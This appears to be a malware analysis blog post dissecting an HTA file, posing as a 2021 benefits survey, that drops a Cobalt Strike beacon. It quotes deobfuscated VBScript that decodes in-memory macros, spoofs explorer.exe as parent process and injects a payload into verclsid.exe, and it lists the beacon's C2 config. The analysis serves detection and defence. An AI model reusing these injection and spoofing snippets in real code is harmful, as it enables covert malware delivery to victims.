Cobalt Strike HTA Dropper
HTA Delivering Cobalt Strike
Summary
I found an interesting HTA file on MalwareBazaar that appears to deliver Cobalt Strike. It has a highly realistic pretext, COM objects to create in-memory macros, parent process spoofing, config extraction, and more.
Let’s dig in!
https://bazaar.abuse.ch/sample/6642a4939b65171fbb64a1f311a5ef17435e281e47e1679e9f4652ac65b4062b/ https://www.virustotal.com/gui/file/6642a4939b65171fbb64a1f311a5ef17435e281e47e1679e9f4652ac65b4062b/community
File Name: 2021BonusSchemeSurvey.hta
SHA256: 6642a4939b65171fbb64a1f311a5ef17435e281e47e1679e9f4652ac65b4062b
C2 Domain: bankingnewstrader[.]net
Hash of Injected PE: 7d930d321230be7e8e5c3e9637b250a808233ed83b13cef2c33f6439b2826573
Deep Dive
The first stage of this attack is the HTA file itself. HTA files are essentially plain text webpages with embedded Jscript or VBScript, that get executed on the host with the built in Windows application mshta.exe
.
Taking a look at the code, it appears to have the pretext of a 2021 Benefits Survey. If a user were to open this file, this is the display they would be presented with:
However, in the background the malicious code is executed - beginning at line 49 in the HTA where the VBScript block begins.
Function findEnvironment(strData)
Set lngFolder = GetObject("new:2933BF90-7B36-11D2-B20E-00C04F983E60")
Set gsngFile = lngFolder.createElement("b64")
gsngFile.DataType = "bin.base64"
gsngFile.Text = strData
findEnvironment = gsngFile.nodeTypedValue
Set gsngFile = Nothing
Set lngFolder = Nothing
End Function
In this function above, a new object is created with the COM CLSID “2933BF90-7B36-11D2-B20E-00C04F983E60” this corresponds to an XML DOM document that is an in-memory representation of an XML document. The variable strData
contains base64 encoded binary data. Let’s trace this data backwards by looking for function calls to findEnvironment
. We find three references, two in the original function definition, and one on line 1944 immediately after what looks like a gigantic block of base64 text.
gtypeCurrent=gtypeCurrent & "ICAgIG10eXBlRGVza3RvcCA9IGltcG9ydFByb2Nlc3MoZHRtU3RyaW5nLmd2bnRXaWRnZXN0LCBpbnRRdWFudGl0eSwgZ2N1ck5hbWUsICZIMjAsIGdsbmdSZWdpc3RyeSkKICAgIG10eXBlRGVza3RvcCA9IHJlc3RvcmVGb3VuZChkdG1TdHJpbmcuZ3ZudFdpZGdlc3QsIDAsIDAsIGludFF1YW50aXR5LCAwLCAwLCAw"
gtypeCurrent=gtypeCurrent & "KQpFbmQgU3ViCgpQcml2YXRlIEZ1bmN0aW9uIGNyZWF0ZURpY3Rpb25hcnkoQnlWYWwgZ29iamVjdENoZWNrc3VtIEFzIFN0cmluZykgQXMgQnl0ZSgpCiAgICBTZXQgZ3R5cGVSZWdpc3RyeSA9IEdldE9iamVjdCgibmV3Ok1pY3Jvc29mdC5YTUxET00iKQogICAgU2V0IG9iamVjdFJlZ2lzdHJ5ID0gZ3R5cGVSZWdp"
gtypeCurrent=gtypeCurrent & "c3RyeS5jcmVhdGVFbGVtZW50KCJzdHJEaWN0aW9uYXJ5IikKICAgIG9iamVjdFJlZ2lzdHJ5LkRhdGFUeXBlID0gImJpbi5iYXNlNjQiCiAgICBvYmplY3RSZWdpc3RyeS5UZXh0ID0gZ29iamVjdENoZWNrc3VtCiAgICBjcmVhdGVEaWN0aW9uYXJ5ID0gb2JqZWN0UmVnaXN0cnkuTm9kZVR5cGVkVmFsdWUKICAgIFNl"
gtypeCurrent=gtypeCurrent & "dCBvYmplY3RSZWdpc3RyeSA9IE5vdGhpbmcKICAgIFNldCBndHlwZVJlZ2lzdHJ5ID0gTm90aGluZwpFbmQgRnVuY3Rpb24K"
objPath.CodeModule.AddFromString initializeEnvironment(findEnvironment(gtypeCurrent))
findDrive
Before we take the giant blob of base64 and decode it - let’s take a look at the initializeEnvironment
function that seems to process the data.
Function initializeEnvironment(Binary)
Const mdtmFunction = 2
Const gerrRasterdata = 1
Dim typeFolder
Set typeFolder = GetObject("new:00000566-0000-0010-8000-00AA006D2EA4")
typeFolder.Type = gerrRasterdata
typeFolder.Open
typeFolder.Write Binary
typeFolder.Position = 0
typeFolder.Type = mdtmFunction
typeFolder.CharSet = "us-ascii"
initializeEnvironment = typeFolder.ReadText
End Function
This CLSID represents AODB.Stream, which is basically just binary stream data. So this function is reading in the text from the gtypeCurrent
object.
Once we’ve read the data, we need to execute it, right? Let’s take a look at that final function in the block named findDrive
.
Sub findDrive
msngEnvironment = window.setTimeout("joinName", 5000, "VBScript")
End Sub
So findDrive
is simply executing another function named joinName
.
Sub joinName
merrFolder.Run "Auto_Open"
window.ClearTimeout(msngEnvironment)
blnName = window.setTimeout("expandScreen", 5000, "VBScript")
End Sub
Ahh, here is how the read base64 blob is executed, the traditional Auto_Open
we see with Office macros. There are some additional functions here if we follow expandScreen
, but they aren’t critical to our understanding of the malware.
Now let’s backtrack to that big base64 blob. The simplest way I’ve found to do this is with Find & Replace in your text editor of choice, removing the variable names, operations, quotes, and newlines. The result will be one long string.
Once we grab the string we can decode it in CyberChef or the command line. On line 45 of the new code we find something very interesting:
Private Declare PtrSafe Function testRegistry Lib "kernel32" Alias "CreateProcessA" (ByVal lpApplicationName As String, ByVal lpCommandLine As String, lpProcessAttributes As Any, lpThreadAttributes As Any, ByVal bInheritHandles As Long, ByVal dwCreationFlags As Long, lpEnvironment As Any, ByVal lpCurrentDriectory As String, lpStartudtmString As copyString, lpProceserrCurrentrmation As copyDesktop) As Long
Private Declare PtrSafe Function newWidgest Lib "kernel32" Alias "OpenProcess" (ByVal dwDesiredAccess As Long, ByVal bInheritHandle As Long, ByVal dwProcessID As Long) As LongPtr
Private Declare PtrSafe Function getWidgest Lib "kernel32" Alias "CloseHandle" (ByVal hObject As LongPtr) As Long
Private Declare PtrSafe Function sortDrive Lib "kernel32" Alias "InitializeProcThreadAttributeList" (lgsngCode As Any, ByVal dwAttributeCount As Long, ByVal dwFlags As Long, lpSize As Long) As Long
Private Declare PtrSafe Function exitString Lib "kernel32" Alias "UpdateProcThreadAttribute" (lgsngCode As enterFunction, ByVal dwFlags As Long, ByVal dwpAttribute As Long, ByVal lpValue As LongPtr, ByVal cbSize As Long, ByVal lpPreviousValue As Long, ByVal lpReturnSize As Long) As Long
Private Declare PtrSafe Sub lockName Lib "kernel32" Alias "DeleteProcThreadAttributeList" (lgsngCode As enterFunction)
Private Declare PtrSafe Function restoreFound Lib "kernel32" Alias "CreateRemoteThread" (ByVal hProcess As LongPtr, ByVal lpThreadAttributes As Long, ByVal dwStackSize As Long, ByVal lpStartAddress As LongPtr, lpParameter As Long, ByVal dwCreationFlags As Long, lpThreadID As Long) As LongPtr
Private Declare PtrSafe Function exitDrive Lib "kernel32" Alias "VirtualAllocEx" (ByVal hProcess As LongPtr, ByVal lpAddr As Long, ByVal lSize As Long, ByVal flAllocationType As Long, ByVal flProtect As Long) As LongPtr
Private Declare PtrSafe Function getChecksum Lib "kernel32" Alias "WriteProcessMemory" (ByVal hProcess As LongPtr, ByVal lDest As LongPtr, ByVal Source As String, ByVal Length As Long, ByVal LengthWrote As LongPtr) As LongPtr
Private Declare PtrSafe Function importProcess Lib "kernel32" Alias "VirtualProtectEx" (ByVal hProcess As LongPtr, ByVal lpAddr As LongPtr, ByVal lSize As Long, ByVal flProtect As Long, ByRef oldProtect As Long) As LongPtr
This is resolving the important Windows API functions, and giving them a new function name to obscure their functionality. It’s also clear from the APIs resolved here that this code is going to attempt process injection. With that in mind, our goal for the next section is to first to determine what process the payload is going to be injected into, and second, determine the payload to be written.
To achieve that end, and make our code more readable, I’m going to “Find & Replace All” the newly declared functions back to their Windows API equivalents (e.g. testRegistry
becomes CreateProcessA
).
Sub Auto_Open()
... [truncated] ...
Set glngProcess = GetObject("winmgmts:\\.\root\CIMV2")
Set gintQuantity = glngProcess.ExecQuery("SELECT ProcessId FROM Win32_Process WHERE Name = 'explorer.exe'", , 48)
For Each mvntQuantity in gintQuantity
gblnScreen = mvntQuantity.ProcessId
Next
bytName = OpenProcess(128, False, gblnScreen)
Then we see the Auto_Open
function - using WMI to list the process ID of explorer.exe
, then there’s a call to OpenProcess
, we can look up the parameters to this API call on MSDN to determine the access mask of PROCESS_CREATE_PROCESS (0x0080)
. This is required to create a process with explorer.exe
as the spoofed parent.
mtypeDesktop = UpdateProcThreadAttribute(bytQuantity, 0, 131072, VarPtr(bytName), 8, 0, 0)
The spoofing hypothesis is confirmed by the API calls related to updating the thread context with the value of 131072 or 0x20000.
If Len(Environ("ProgramW6432")) > 0 Then
gblnWidgest = Environ("windir") & "\SysWOW64\verclsid.exe"
Else
gblnWidgest = Environ("windir") & "\System32\verclsid.exe"
End If
mtypeDesktop = CreateProcessA(gtypeCode, gblnWidgest, ByVal 0&, ByVal 0&, 0, 524292, ByVal 0&, gtypeCode, errCurrent, dtmString)
Here you can see that the code is determining if the system is 32 or 64 bit, and storing the appropriate path for verclsid.exe
, before making that call to CreateProcessA
. I’ll call your attention to the 6th parameter of this API call 524292
which is 0x80004, indicating that this process will be created in a suspended state. This is a glaring red flag that this is our injection target.
Shortly after this code we see a huge text blob mobjFunction
, if we jump ahead to the WriteProcessMemory
API call, we can confirm if this is the data injected into the verclsid.exe
process.
gtypeCurrent = StrConv(createDictionary(mobjFunction), vbUnicode)
gcurName = Len(gtypeCurrent) * 2
intQuantity = VirtualAllocEx(dtmString.gvntWidgest, 0, gcurName, &H1000, &H4)
mtypeDesktop = WriteProcessMemory(dtmString.gvntWidgest, intQuantity, gtypeCurrent, gcurName, ByVal 0&)
So it definitely appears that our text blob is the data to be injected (gtypeCurrent
) but there’s additional decoding involved. That functionality appears to be contained in the createDictionary
function - it’s basically just base64 decoded to hex. Based on familiarity, I recognized the NOP opcodes (0x90
) followed by the MZ header (0x4d 0x5a
) - giving me confidence this is a binary payload.
With CyberChef you can save the output to a file, but it will save this as the text representation of the characters displayed. Instead, I just pasted it into my hex editor, deleted the leading NOPs, and saved it as pe.exe
. Dropping that PE into pestudio shows that it is a valid executable.
Finally, we see the memory protections changed for this injected code region, and the thread resumed.
mtypeDesktop = VirtualProtectEx(dtmString.gvntWidgest, intQuantity, gcurName, &H20, glngRegistry)
mtypeDesktop = CreateRemoteThread(dtmString.gvntWidgest, 0, 0, intQuantity, 0, 0, 0)
There are lots of interesting things in this binary, but since we suspect it’s Cobalt Strike - let’s try a config parser. This will tell us the settings configured with this Cobalt Strike beacon. This will tell us what to expect in the network traffic (Port, Protocol, User Agent, C2Server, HTTP Metadata) but also the process this beacon will spawn into (gpupdate.exe
) and the methods of process injection used.
BeaconType - HTTPS
Port - 443
SleepTime - 22000
MaxGetSize - 1048576
Jitter - 14
MaxDNS - Not Found
PublicKey_MD5 - 0879c896cc0f2327a74346ed0cdccb39
C2Server - bankingnewstrader.net,/s/ref=nb_sb_noss_1/512-30402354-7242404/field-keywords=place
UserAgent - Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)
HttpPostUri - /N1654/adj/amzn.us.sr.aps
Malleable_C2_Instructions - Empty
HttpGet_Metadata - ConstHeaders
Accept: */*
Host: www.bankingnewstrader.net
Metadata
base64
prepend "session-token="
prepend "skin=noskin;"
append "csm-hit=s-RMfQencUM8D9DF7GrwXn|1916967892533"
header "Cookie"
HttpPost_Metadata - ConstHeaders
Accept: */*
Content-Type: text/xml
X-Requested-With: XMLHttpRequest
Host: www.bankingnewstrader.net
ConstParams
sz=160x600
oe=oe=ISO-8859-1;
s=4324
dc_ref=http%3A%2F%2Fwww.amazon.com
SessionId
parameter "sn"
Output
base64
print
PipeName - Not Found
DNS_Idle - Not Found
DNS_Sleep - Not Found
SSH_Host - Not Found
SSH_Port - Not Found
SSH_Username - Not Found
SSH_Password_Plaintext - Not Found
SSH_Password_Pubkey - Not Found
SSH_Banner -
HttpGet_Verb - GET
HttpPost_Verb - POST
HttpPostChunk - 0
Spawnto_x86 - %windir%\syswow64\gpupdate.exe
Spawnto_x64 - %windir%\sysnative\gpupdate.exe
CryptoScheme - 0
Proxy_Config - Not Found
Proxy_User - Not Found
Proxy_Password - Not Found
Proxy_Behavior - Use IE settings
Watermark_Hash - Not Found
Watermark - 1885224521
bStageCleanup - False
bCFGCaution - True
KillDate - 0
bProcInject_StartRWX - False
bProcInject_UseRWX - False
bProcInject_MinAllocSize - 16384
ProcInject_PrependAppend_x86 - b'\x90\x90\x90\x90'
Empty
ProcInject_PrependAppend_x64 - b'\x90\x90\x90\x90'
Empty
ProcInject_Execute - ntdll:RtlUserThreadStart
CreateThread
NtQueueApcThread-s
CreateRemoteThread
RtlCreateUserThread
ProcInject_AllocationMethod - NtMapViewOfSection
bUsesCookies - True
HostHeader -
headersToRemove - Not Found
DNS_Beaconing - Not Found
DNS_get_TypeA - Not Found
DNS_get_TypeAAAA - Not Found
DNS_get_TypeTXT - Not Found
DNS_put_metadata - Not Found
DNS_put_output - Not Found
DNS_resolver - Not Found
DNS_strategy - round-robin
DNS_strategy_rotate_seconds - -1
DNS_strategy_fail_x - -1
DNS_strategy_fail_seconds - -1
Retry_Max_Attempts - Not Found
Retry_Increase_Attempts - Not Found
Retry_Duration - Not Found
Interestingly, I found another sample dropping Cobalt Strike with the same watermark on JoeSandbox. The main difference between the two (besides switching up indicators between campaigns) appears to be the Word doc for initial access, instead of an HTA.